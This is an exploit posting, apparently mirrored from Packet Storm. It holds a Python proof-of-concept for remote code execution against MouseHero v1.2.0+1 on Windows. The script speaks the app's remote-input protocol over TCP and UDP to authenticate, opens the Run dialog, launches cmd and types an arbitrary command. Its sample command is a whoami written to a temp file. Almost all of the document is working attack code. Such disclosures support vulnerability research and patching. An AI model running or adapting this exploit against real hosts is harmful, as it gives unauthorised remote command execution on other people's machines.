Share
## https://sploitus.com/exploit?id=PACKETSTORM:226947
# Exploit Title: MouseHero v1.2.0+1 - Remote Code Execution (RCE)
# Date: July 26, 2026
# Exploit Author: tmrswrr / Hulya KARABAG
# Vendor Homepage: https://mousehero.aprilzz.com
# Software Link: https://downloads-mousehero.aprilzz.com/downloads/MouseHero-Windows-x86_64-latest.zip
# Version: 1.2.0+1
# Tested on: Windows 10 Enterprise LTSC Build 17763
#!/usr/bin/env python3
import socket
import struct
import time
HOST = "192.168.1.103"
TCP_PORT = 21216
UDP_PORT = 21217
AUTH = 10
TEXT = 5
KEYBOARD = 4
CLICK = 2
WIN = 8
def mpu(n):
if n <= 0x7f:
return bytes([n])
if n <= 0xff:
return b"\xcc" + struct.pack(">B", n)
return b"\xcd" + struct.pack(">H", n)
def mps(s):
b = s.encode()
if len(b) <= 31:
return bytes([0xa0 | len(b)]) + b
if len(b) <= 0xff:
return b"\xd9" + struct.pack(">B", len(b)) + b
return b"\xda" + struct.pack(">H", len(b)) + b
def mpa(*items):
return bytes([0x90 | len(items)]) + b"".join(items)
def pkt(kind, body, uid=1):
hdr = mpa(mpu(uid), mpu(kind), mpu(6), mpu(len(body)))
return struct.pack(">II", 4 + len(hdr) + len(body), len(hdr)) + hdr + body
def recv_uid(s):
s.sendall(pkt(AUTH, mpa(mpu(1), mpu(3))))
psize, hsize = struct.unpack(">II", s.recv(8))
s.recv(hsize)
body = s.recv(psize - 4 - hsize)
return body[2] if len(body) > 2 else 1
def text(s, uid, value):
s.sendall(pkt(TEXT, mps(value), uid))
def udp_key(u, seq, key, op=CLICK, mod=0):
body = mpa(mpu(key), mpu(op), mpu(mod))
hdr = mpa(mpu(seq), mpu(KEYBOARD), mpu(1), mpu(247))
u.sendto(struct.pack(">II", 4 + len(hdr) + len(body), len(hdr)) + hdr + body, (HOST, UDP_PORT))
with socket.create_connection((HOST, TCP_PORT), timeout=5) as s:
uid = recv_uid(s)
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as u:
udp_key(u, uid, ord("r"), CLICK, WIN)
time.sleep(1)
text(s, uid, "cmd\n")
time.sleep(1.5)
text(s, uid, "whoami > %TEMP%\\mousehero_poc.txt\n")